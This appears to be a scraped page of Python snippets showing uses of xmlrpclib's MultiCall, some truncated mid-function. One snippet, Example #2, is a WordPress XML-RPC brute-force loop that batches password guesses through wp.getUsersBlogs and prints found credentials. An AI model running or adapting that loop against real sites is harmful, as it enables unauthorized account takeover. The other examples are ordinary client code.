Beispiel #1
0
 def fetch(self):
     multicall = MultiCall(self.__server)
     for phrase in self.__phrases:
         multicall.suggest(phrase, self.__lang)
     print "suggesting...", len(self.__phrases),
     sys.stdout.flush()
     result = multicall()
     print "done"
     return False
Beispiel #2
0
    def execute(self):
        request_count = 0
        multicall = MultiCall(self.proxy)

        for password_index, password in enumerate(self.passwords):

            if (request_count < self.multicall_limit) and (password_index < len(self.passwords) - 1):
                multicall.wp.getUsersBlogs(self.username, password)
                request_count += 1
            else:
                for req_id, result in enumerate(multicall().results):
                    if type(result) == type([]):
                        credentials = multicall._MultiCall__call_list[req_id][1]
                        print_safe(result)
                        print_safe("Credentials Found: (%s, %s)" % credentials)
                        return

                multicall = MultiCall(self.proxy)
                request_count = 0
brew = koji.ClientSession('http://brewhub.devel.redhat.com/brewhub')

build = brew.getBuild(sys.argv[1])
export = {}
export['image_id'] = sys.argv[1]
export['image_format'] = 'docker'
export['rpms'] = []

task = brew.getTaskInfo(build['task_id'])
if task['method'] == 'indirectionimage':
    tr = brew.getTaskRequest(build['task_id'])
    res = brew.getTaskResult(int(tr[0]['base_image_task']))
    arch = brew.listArchives(build['id'])
    assert (len(arch) == 1)
    export['md5'] = arch[0]['checksum']
    multicall = MultiCall(brew)
    for r in res['rpmlist']:
        multicall.getRPM({
            'name': r['name'],
            'version': r['version'],
            'release': r['release'],
            'arch': r['arch']
        })
    rpms = multicall()
else:
    archs = brew.listArchives(build['id'])
    for archive in archs:
        if archive['type_name'] in ('ks', 'cfg', 'xml'):
            continue
        export['md5'] = archive['checksum']
        archive_id = archive.get('id')
Beispiel #4
0
	def __init__(self,uri, transport=None, encoding=None, verbose=0, allow_none=0, use_datetime=0):
		MultiCall.__init__(self,None)

		self._server = Proxy(uri, transport, encoding, verbose,allow_none, use_datetime)
__author__ = 'munchp'

from xmlrpclib import ServerProxy, MultiCall

server = ServerProxy("http://localhost:8000")
print server
multi = MultiCall(server)
multi.Calculate(2, 100)
multi.pow(2,9)
multi.add(5,1)
multi.add(21,11)
try:
    for response in multi():
        print response
except Error, v:
    print "Error", v
Beispiel #6
0
 def __call__(self):
     if self.__answers is None:
         self.__answers = MultiCall.__call__(self)
     return self.__answers
Beispiel #7
0
 def __init__(self, server):
     MultiCall.__init__(self, server)
     self.__answers = None
Beispiel #8
0
 def __init__(self, serverProxy):
   MultiCall.__init__(self, serverProxy)